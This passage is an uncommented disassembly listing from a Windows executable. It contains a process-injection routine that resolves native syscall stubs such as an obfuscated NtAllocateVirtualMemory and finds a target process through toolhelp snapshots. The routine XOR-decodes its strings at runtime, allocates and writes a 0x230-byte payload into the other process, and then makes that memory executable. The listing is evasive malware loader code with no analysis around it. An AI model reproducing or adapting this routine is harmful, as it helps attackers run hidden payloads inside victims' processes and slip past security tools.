mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4a00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4a20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4a40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4a60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4a90]
mov rcx, qword [rbp + 0x52f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4a90]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x1400084a4
lea rbx, [0x14010058b]
jmp 0x1400084ab
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x4cff]
lea rax, [rbp + 0x4cd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x1401005d1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x1401005d7]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x1401005c5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x1401005cf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x1401005bf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x52e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140008897
lea rbx, [0x14010058b]
jmp 0x14000889e
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x1401005bd]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x52e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140008cb6
lea rbx, [0x14010058b]
jmp 0x140008cbd
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140002dc9
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x1400fc7c8]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rax, [0x1400fc7e0]
mov rcx, rax
call fcn.140001a77
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5290], rax
mov dword [rbp + 0x5388], 0
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x4fbd]
mov rcx, rax
call fcn.140002f6e
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x140008fe2
jmp 0x140008fbe
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5248], rax
mov rax, qword [rbp + 0x5248]
mov qword [rbp + 0x5240], rax
mov rax, qword [rbp + 0x5240]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008e50
mov rax, qword [rbp + 0x5248]
mov rdx, qword [rbp + 0x5248]
mov qword [rbp + 0x5238], rdx
mov qword [rbp + 0x5230], rax
mov dword [rbp + 0x522c], 0
jmp 0x140008e46
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5230]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5238]
mov eax, dword [rbp + 0x522c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x522c], 1
cmp dword [rbp + 0x522c], 0xc
jle 0x140008de7
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140008fbe
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5388], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fbe]
mov rcx, rax
call fcn.140002fe8
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5220], rax
mov rax, qword [rbp + 0x5220]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140008f50
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5218], rdx
mov qword [rbp + 0x5210], rax
mov dword [rbp + 0x520c], 0
jmp 0x140008f46
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5210]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5218]
mov eax, dword [rbp + 0x520c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x520c], 1
cmp dword [rbp + 0x520c], 0xe
jle 0x140008ee7
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
mov ecx, dword [rbp + 0x5388]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x1401005d9]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5208], 0
jmp 0x140008fb2
mov eax, dword [rbp + 0x5208]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5208], 1
cmp dword [rbp + 0x5208], 0xe
jle 0x140008f9b
nop
jmp 0x140008fe2
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x140008d8b
mov rax, qword [rbp + 0x5290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5388], 0
jne 0x14000912f
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fbf]
mov rcx, rax
call fcn.140003072
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5200], rax
mov rax, qword [rbp + 0x5200]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x1400090c3
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x51f8], rdx
mov qword [rbp + 0x51f0], rax
mov dword [rbp + 0x51ec], 0
jmp 0x1400090b9
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x51f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51f8]
mov eax, dword [rbp + 0x51ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ec], 1
cmp dword [rbp + 0x51ec], 0x43
jle 0x14000905a
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2358]
mov qword [rbp - 0x3b], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51e8], 0
jmp 0x140009116
mov eax, dword [rbp + 0x51e8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51e8], 1
cmp dword [rbp + 0x51e8], 0x43
jle 0x140009102
nop
mov esi, 1
mov ebx, 0
jmp 0x14000a6f0
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.1400014a4
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x14012c080]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x22f4]
lea rdx, [rbp + 0x4fc0]
mov rcx, rax
call fcn.1400032a4
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x4fc1]
mov rcx, rax
call fcn.140003316
mov qword [rbp + 0x5288], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5280], 0xe
mov r10, qword [0x14012c038]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x4fc2]
mov rcx, rax
call fcn.1400033a8
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51e0], rax
mov rax, qword [rbp + 0x51e0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x14000932b
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51d8], rdx
mov qword [rbp + 0x51d0], rax
mov dword [rbp + 0x51cc], 0
jmp 0x140009321
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x51d8]
mov eax, dword [rbp + 0x51cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51cc], 1
cmp dword [rbp + 0x51cc], 0x27
jle 0x1400092c2
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51c8], 0
jmp 0x140009370
mov eax, dword [rbp + 0x51c8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51c8], 1
cmp dword [rbp + 0x51c8], 0x27
jle 0x140009359
nop
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x4fc3]
mov rcx, rax
call fcn.1400034fa
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51c0], rax
mov rax, qword [rbp + 0x51c0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x14000944e
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51b8], rdx
mov qword [rbp + 0x51b0], rax
mov dword [rbp + 0x51ac], 0
jmp 0x140009444
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x51b0]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x51b8]
mov eax, dword [rbp + 0x51ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ac], 1
cmp dword [rbp + 0x51ac], 0xd
jle 0x1400093e5
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x51a8], 0
jmp 0x14000948a
mov eax, dword [rbp + 0x51a8]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51a8], 1
cmp dword [rbp + 0x51a8], 0xd
jle 0x140009473
nop
mov r10, qword [0x14012c040]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x14012c0d0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x4fc4]
mov rcx, rax
call fcn.14000357c
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rax
mov rax, qword [rbp + 0x51a0]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x14000959c
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x5198], rdx
mov qword [rbp + 0x5190], rax
mov dword [rbp + 0x518c], 0
jmp 0x140009592
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5190]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5198]
mov eax, dword [rbp + 0x518c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x518c], 1
cmp dword [rbp + 0x518c], 0x22
jle 0x140009533
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5188], 0
jmp 0x1400095e1
mov eax, dword [rbp + 0x5188]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5188], 1
cmp dword [rbp + 0x5188], 0x22
jle 0x1400095ca
nop
mov r10, qword [0x14012c048]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x4fc5]
mov rcx, rax
call fcn.1400036a6
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5180], rax
mov rax, qword [rbp + 0x5180]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x1400096f2
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5178], rdx
mov qword [rbp + 0x5170], rax
mov dword [rbp + 0x516c], 0
jmp 0x1400096e8
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5170]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5178]
mov eax, dword [rbp + 0x516c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x516c], 1
cmp dword [rbp + 0x516c], 0x22
jle 0x140009689
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5168], 0
jmp 0x140009737
mov eax, dword [rbp + 0x5168]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5168], 1
cmp dword [rbp + 0x5168], 0x22
jle 0x140009720
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002c01
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.140002831
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x14012c0c0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x4fc6]
mov rcx, rax
call fcn.1400037d0
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5160], rax
mov rax, qword [rbp + 0x5160]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x140009872
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5158], rdx
mov qword [rbp + 0x5150], rax
mov dword [rbp + 0x514c], 0
jmp 0x140009868
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5150]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5158]
mov eax, dword [rbp + 0x514c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x514c], 1
cmp dword [rbp + 0x514c], 0x27
jle 0x140009809
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1401000e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5120], 0
jmp 0x1400098b7
mov eax, dword [rbp + 0x5120]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5120], 1
cmp dword [rbp + 0x5120], 0x27
jle 0x1400098a0
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
mov qword [rbp + 0x5138], rax
mov rax, qword [rbp + 0x5138]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009986
mov rax, qword [rbp + 0x5140]
mov rdx, qword [rbp + 0x5140]
mov qword [rbp + 0x5130], rdx
mov qword [rbp + 0x5128], rax
mov dword [rbp + 0x5124], 0
jmp 0x14000997c
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
mov rax, qword [rbp + 0x5128]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5130]
